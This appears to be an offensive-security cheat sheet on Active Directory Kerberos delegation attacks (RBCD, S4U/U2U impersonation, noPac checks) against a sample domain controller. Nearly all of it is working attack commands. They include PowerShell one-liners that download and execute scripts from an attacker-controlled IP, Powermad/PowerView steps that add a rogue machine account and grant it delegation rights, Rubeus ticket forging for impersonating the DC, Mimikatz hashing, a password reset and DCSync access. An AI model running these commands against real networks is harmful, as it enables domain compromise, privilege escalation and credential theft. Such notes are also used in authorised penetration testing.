CVE-2021-34470

• https://offsec.almond.consulting/ldap-relays-for-initial-foothold-in-dire-situations.html
• https://github.com/fortra/impacket/pull/1288

RBCD from Windows

Load tools:

PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powermad.ps1")
PS > IEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/powerview4.ps1")

Define credentials for the compromised account with the necessary DACL:

PS > $userWithDaclUsername = 'megacorp.local\snovvcrash'
PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential($userWithDaclUsername, $userWithDaclPassword)

Add new machine account and configure RBCD (i.e., set msDS-AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the vulnerable host (DC01):

Powermad > New-MachineAccount -MachineAccount fakemachine -Password $(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Verbose
PV3 > $computerSID = Get-DomainComputer -Identity fakemachine -Properties ObjectSid -Verbose -Credential $cred | select -Expand ObjectSid
PS > $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($computerSID))"
PS > $SDBytes = New-Object byte[] ($SD.BinaryLength)
PS > $SD.GetBinaryForm($SDBytes, 0)
PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose -Credential $cred
PS > .\Rubeus.exe hash /domain:megacorp.local /user:fakemachine$ /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889

Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not protected in TGS-REQ):

PS > .\Rubeus.exe s4u /domain:megacorp.local /user:fakemachine$ /rc4:FC525C9683E8FE067095BA2DDC971889 /impersonateuser:DC01$ /msdsspn:CIFS/DC01.megacorp.local /altservice:host,wsman,ldap,http /ptt

If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:

• Try impersonating different privileged users when requesting the ticket.

• Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/DC01.megacorp.local > CIFS/DC01).

After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting (WSMAN), DCSync (LDAP) and so on:

PS > klist
# CIFS
PS > cd \\DC01.megacorp.local\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName DC01.megacorp.local
PS > exit
# LDAP
PS > ...DCSync...

Clean up:

PV3 > Get-DomainComputer DC01.megacorp.local -Verbose -Credential $cred | Set-DomainObject -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' -Verbose -Credential $cred
Powermad > Remove-MachineAccount -MachineAccount fakemachine

PowerView 4.0

Configure RBCD on the vulnerable host (DC01):

• https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/

Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:

PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815

Or with Mimikatz:

mimikatz # kerberos::hash /domain:megacorp.local /user:fakemachine /password:Passw0rd!
        * rc4_hmac_nt       fc525c9683e8fe067095ba2ddc971889

        * des_cbc_md5       621a91461f1adffe

Now you can impersonate a protected user:

$ addcomputer.py -computer-name fakemachine -computer-pass 'Passw0rd!' -dc-ip 192.168.1.11 -dc-host DC01.megacorp.local megacorp.local/snovvcrash:'Qwe123!@#'

Windows

User j.doe is populated within the msDS-AllowedToActOnBehalfOfOtherIdentity property of the SRV01 machine:

PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe

Request a regular TGT for j.doe:

PS > .\Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap

Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to impersonate within the /targetuser option (this is an S4U2self request):

PS > .\Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TGT>

Obtain a hex view of the current TGT session key (RC4 HMAC):

$ python3 -c 'import binascii,base64;print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())'

Set j.doe's NT hash to the hexlified TGT session key:

$ smbpasswd.py megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_KEY_HEX> -altuser MEGACORP/snovvcrash -altpass 'Passw0rd123!'

Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got from the U2U request) within the /tgs option (only the S4U2proxy part is performed):

PS > .\Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /altservice:http /ticket:<TGT> /tgs:<TGS> /createnetonly:C:\Windows\System32\cmd.exe /show

Linux

From Linux systems Impacket can be used to operate the technique.

The steps detailed on The Hacker Recipes can be followed.

Check

Windows

Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC part and be obviously larger:

PS > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:snovvcrash /password:Passw0rd! /nopac /nowrap

Linux

$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M nopac
